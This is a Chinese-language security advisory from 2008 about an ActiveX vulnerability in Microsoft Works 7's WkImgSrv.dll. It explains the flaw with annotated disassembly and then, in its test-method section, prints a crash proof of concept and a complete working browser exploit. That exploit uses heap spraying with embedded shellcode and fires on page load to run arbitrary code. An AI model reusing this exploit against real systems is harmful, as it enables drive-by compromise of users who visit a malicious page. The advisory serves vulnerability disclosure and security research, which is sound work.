Microsoft Works 7 WkImgSrv.dll漏洞
作者: 绿盟科技, 出处:IT专家网, 责任编辑: 张帅,
2008-05-06 10:16
Microsoft Works是微软在早期所发布的文件处理程序。Microsoft Works所带的ActiveX控件实现上存在漏洞,远程攻击者可能利用此漏洞控制用户系统。
受影响系统:
Microsoft Works 7
描述:
BUGTRAQ ID: 28820
Microsoft Works是微软在早期所发布的文件处理程序。Microsoft Works所带的ActiveX控件实现上存在漏洞,远程攻击者可能利用此漏洞控制用户系统。Microsoft Works所提供的wkimgsrv.dll库没有安全地调用WKsPictureInterface方式:
| 00D473BD PUSH EBP ; Begin of Set WksPictureInterface method 00D473BE MOV EBP,ESP 00D473C0 SUB ESP,1C 00D473C3 MOV EAX,DWORD PTR SS:[EBP+C] ; Move paramater to EAX 00D473C6 PUSH ESI 00D473C7 TEST EAX,EAX ; Checking whether EAX is NULL 00D473C9 JNZ SHORT wkimgsrv.00D473D5 ; OK,if it is not null continue 00D473CB MOV EAX,80004005 ; 00D473D0 JMP wkimgsrv.00D47456 ;No,it's is NULL,exit method 00D473D5 ==> MOV ESI,DWORD PTR SS:[EBP+8] ; Do some other stuffs, we don't care 00D473D8 LEA EDX,DWORD PTR SS:[EBP-1C] ; 00D473DB PUSH EDX 00D473DC PUSH EAX 00D473DD MOV DWORD PTR DS:[ESI+2A0],EAX ; ============= 00D473E3 ==> MOV ECX,DWORD PTR DS:[EAX] ; Here is the problem,the data stored by EAX is referenced and moved into ECX 00D473E5 CALL DWORD PTR DS:[ECX+30] ;Next the address in some struct pointed by ECX is called |
如果能够在内存中创建第一个DWORD指向其本身且0x30偏移处的DWORD指向shellcode的结构,则当用户在访问恶意网页时就可能触发无效的内存访问,导致拒绝服务或执行任意指令。
<*来源:Shennan Wang (wsn1983@gmail.com)
链接:http://marc.info/?l=bugtraq&m=120845200813992&w=2
http://www.milw0rm.com/exploits/5530*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
| <html> <head> <title>Microsoft Works 7 WkImgSrv.dll crash POC</title> <script language="JavaScript"> function payload() { var num = -1; obj.WksPictureInterface = num; } </script> </head> <body onload="JavaScript: return payload();"> <object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj"> </object> </body> </html> <html> <head> <title>Microsoft Works 7 WkImgSrv.dll Exploit</title> Coded by lhoang8500 lhoang8500[at]gmail[dot]com BKIS Center - Vietnam <SCRIPT language="javascript"> var heapSprayToAddress = 0x0A0A0A0A; var payLoadCode = unescape("%u9090%u9090%u9090%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); var heapBlockSize = 0x400000; var payLoadSize = payLoadCode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u0A0A%u0A0A"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; memory = new Array(); for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + payLoadCode; } function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; } </script> <script language="JavaScript"> function payload() { var num = 168430090; obj.WksPictureInterface = num; } </script> </head> <body onload="JavaScript: return payload();"> <object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj"> </object> </body> </html> |
建议:
厂商补丁:
Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/technet/security/
- 本文关键词:

